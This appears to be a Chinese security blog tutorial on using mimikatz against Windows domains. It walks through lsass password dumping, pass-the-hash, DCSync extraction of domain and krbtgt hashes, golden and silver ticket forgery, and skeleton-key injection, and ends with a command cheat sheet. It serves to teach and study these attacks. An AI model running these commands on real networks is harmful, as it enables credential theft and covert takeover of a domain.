业务讲堂
技术研究
最新文章
技术分享 | mimikatz的常见使用方法
作者:UGUARDSEC 发表日期:2021/08/18 来源:原创

0x00简介

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

0x01常规用法

获取本地帐户密码

(1)以管理员权限运行mimikatz

(2)提升权限 privilege::debug

(3)抓取密码 sekurlsa::logonpasswords

注:当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,还是可以读到hash值。运行命令时要以管理员权限,否则会因权限不够报错。

现在列出域控的C目录,会得到拒绝访问。

Hash传递攻击(PTH)

使用mimikatz传递hash,当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口,在弹出的cmd窗口中有相对应的权限。

Sekurlsa::pth /user:XX /domian:xx.com /ntlm:XXXXXXXX


拥有域管权限可以列出所有域用户

Lsadump::dcsync /domain:xx.com /all /csv

普通用户在cmd中查看域中的账户名称。

票据传递攻击(PTT)

黄金票据

域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。

首先获取krbtgt的用户hash:

lsadump::dcsync /domain:xx.com /user:krbtgt

利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:kerberos::golden/user:XX/domain:XX.COM/sid:XXXXXXXXX /krbtgt:XXXXXX /ticket:123.kiribi

文件生成在mimikatz所在的文件夹中。票据可重复导入。

手动导入票据

Kerberos::ptt 123.kilibi

可以直接ptt生成导入,省略手动导入,如果下次导入还要在输入一次命令。

注:在没有票据和hash传递的情况下列出其他账户的C盘目录会被拒绝。

成功导入票据后就可以远程列出其C盘目录。

白银票据

黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信;

白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信;

Kerberos::golden /domain:xx.com /sid:XXXXXXXXX /target:black.red.com /rc4:xxxxxx /service:cifs /user:xxx /ptt

先清空之前存储的票据。


用生成的票据再去列出远程C盘目录。

skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。

在域控中打开mimikatz,输入命令将 Skeleton Key 注入域控制器的 lsass.exe 进程,在输入命令前先用privilege::debug提一下权。

这个时候系统提示 Skeleton Key 已经注入成功,此时会在域内的所有账号中添加一个 Skeleton Key,其密码默认为:“mimikatz”。

接下来就可以使用域内任意用户的身份配合 Skeleton Key 进行域内身份授权验证了。在不使用域管理员原始密码的情况下,使用注入的 Skeleton Key,同样可以成功连接系统。


mimikatz常用命令:

privilege::debug //提升权限

sekurlsa::logonpasswords //抓取密码

kerberos::list //列出存储票据

kerberos::purge //清空存储票据

kerberos::ptt XX.XX //导入票据

lsadump::dcsync /domain:test.com /all /csv //获取所有域用户

lsadump::dcsync /domain:test.com /user:test //指定获取某个用户的hash

lsadump::dcsync /domain:xx.com /user:krbtgt //获取krbtgt的用户hash

misc::skeleton //添加万能密钥


参考链接:

0x00sec.org/t/playing-w

bilibili.com/read/cv739

freebuf.com/articles/sy

cnblogs.com/gendan5/p/1


上一篇:内网学习 | 手把手教你安装CS
下一篇:技术分享 | 记一次Bypass SQL 注入